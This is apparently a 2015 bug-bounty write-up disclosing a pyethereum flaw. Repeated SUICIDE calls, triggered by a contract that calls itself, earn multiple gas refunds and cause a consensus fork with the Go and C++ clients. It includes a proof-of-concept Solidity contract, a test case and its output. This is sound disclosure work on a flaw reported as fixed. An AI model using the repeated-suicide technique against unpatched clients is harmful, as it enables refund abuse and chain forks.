Pyeth vulnerability

I looked a bit into the python client for Ethereum, and found another bounty-bug; this time worth 4 BTC.

Gas refund issue with suicide

Thre are two VM implementations in the codebase, I’m not sure which one is used normally, but they both call ext.add_suicide(msg.to) when the SUICIDE operation is invoked.

ethereum/vm.py:

    elif op == 'SUICIDE':
        to = utils.encode_int(stk.pop())
        to = ((b'\x00' * (32 - len(to))) + to)[12:]
        xfer = ext.get_balance(msg.to)
        ext.set_balance(msg.to, 0)
        ext.set_balance(to, ext.get_balance(to) + xfer)
        ext.add_suicide(msg.to)

/ethereum/fastvm.py:

    elif op == op_SUICIDE:
        to = utils.encode_int(stk.pop())
        to = ((b'\x00' * (32 - len(to))) + to)[12:]
        xfer = ext.get_balance(msg.to)
        ext.set_balance(msg.to, 0)
        ext.set_balance(to, ext.get_balance(to) + xfer)
        ext.add_suicide(msg.to)

The method add_suicide is specified as a lambda-function which just calls append on block.suicides in ethereum/processblock.py:

        self.add_suicide = lambda x: block.suicides.append(x)

The suicides in a block is a standard python list.

ethereum/blocks.py:

self.suicides = []
self.logs = []

Thus, two subsequent suicides by the same caller results - or rather, with the same key (address), would wind up as two entries within the list. Upon further processing after transaction exection, refunds are calculated.

ethereum/processblock.py:

block.refunds += len(block.suicides) * opcodes.GSUICIDEREFUND

This yields refunds for each time that suicide has been called.

Multiple suicide

Is it possible to commit suicide several times ?

Yes. But it requires some trickery, since suicide is basically the same as immediate return, which can be seen in this snippet from the go-client:

	case RETURN:
		offset, size := stack.pop(), stack.pop()
		ret := mem.GetPtr(offset.Int64(), size.Int64())

		return context.Return(ret), nil
	case SUICIDE:
		receiver := statedb.GetOrNewStateObject(common.BigToAddress(stack.pop()))
		balance := statedb.GetBalance(context.Address())

		receiver.AddBalance(balance)

		statedb.Delete(context.Address())

		fallthrough
	case STOP: // Stop the context

		return context.Return(nil), nil

All three cases, RETURN, SUICIDE and STOP are basically the same. If we use the CALL-opcode to call suicide, we can keep executing after the call returns.

contract Killer {
    function homicide() {
        suicide(msg.sender);
    }

    function multipleHomocide() {
        Killer k  = this;
        k.homicide();
        k.homicide();
    }
}

The function above really calls itself, however, if we were to just call homocide() directly, the solc compiler would use internal JUMP instead of CALL. We can change that by pretending that we’re calling another contract with the Killer k = this; construction.

Verification

I verified this by adding a testcase within pyethereum/ethereum/tests/test_solidity.py. Two identical contracts, but one being killed several times.

solidity_suicider = """
contract Killer {
    function homicide() {
        suicide(msg.sender);
    }

    function multipleHomocide() {
        Killer k  = this;
        k.homicide();
    }
}
"""
solidity_suicider2 = """
contract Killer {
    function homicide() {
        suicide(msg.sender);
    }

    function multipleHomocide() {
        Killer k  = this;
        k.homicide();
        k.homicide();
        k.homicide();
        k.homicide();

    }
}
"""

def test_suicides():
    s = tester.state()
    c = s.abi_contract(solidity_suicider, language='solidity', sender=tester.k0)
    c2 = s.abi_contract(solidity_suicider2, language='solidity', sender=tester.k0)
    c.multipleHomocide();
    c2.multipleHomocide();

I also added some printouts to the block processor (processblock.py):

    if len(block.suicides) > 0 : 
        print("Calculating block refunds. len(block.suicides) = %d " %  len(block.suicides))
    block.refunds += len(block.suicides) * opcodes.GSUICIDEREFUND
    if block.refunds > 0:
        log_tx.debug('Refunding', gas_refunded=min(block.refunds, gas_used // 2))
        print('Refunding %d ' % min(block.refunds, gas_used // 2))
        gas_remained += min(block.refunds, gas_used // 2)

And executed the test. Some lines snipped for brevity:

#py.test test_solidity.py -s
============================================================================ test session starts ============================================================================
platform linux2 -- Python 2.7.6 -- py-1.4.30 -- pytest-2.7.2
rootdir: /data/tools/pyethereum, inifile: 
plugins: timeout
collecting 0 itemsWARNING:eth.pow	using pure python implementation	
collected 1 items 

test_solidity.py 0 236
Calculating block refunds. len(block.suicides) = 1 
Refunding 10814 
Calculating block refunds. len(block.suicides) = 4 
Refunding 11162 

Go and C++ clients

The C++ client uses a std::set<address, ensuring uniqueness.

The Go-client uses a two step process.

First the gas calculation:

case SUICIDE:
	if !statedb.IsDeleted(context.Address()) {
		statedb.Refund(params.SuicideRefundGas)
	}

Secondly, the actual execution:

case SUICIDE:
	receiver := statedb.GetOrNewStateObject(common.BigToAddress(stack.pop()))
	balance := statedb.GetBalance(context.Address())

	receiver.AddBalance(balance)

	statedb.Delete(context.Address())

Thereby, when the operation is executed, the Delete operation on statedb is called, preventing it from being refunded again the next time.

Conclusion

Whenever we wind up with a different result between different clients, in this case python versus Go and C++, it’s a consensus issue; a.k.a fork. Forks are bad, but also eligible for rewards! I’m still only at second place on the ethereum bug bounty leaderboard though…

The issue was fixed by Vitalik Buterin in a couple of days ago for version 0.9.73 and an advisory was issued.

2015-08-15

tweets

favorites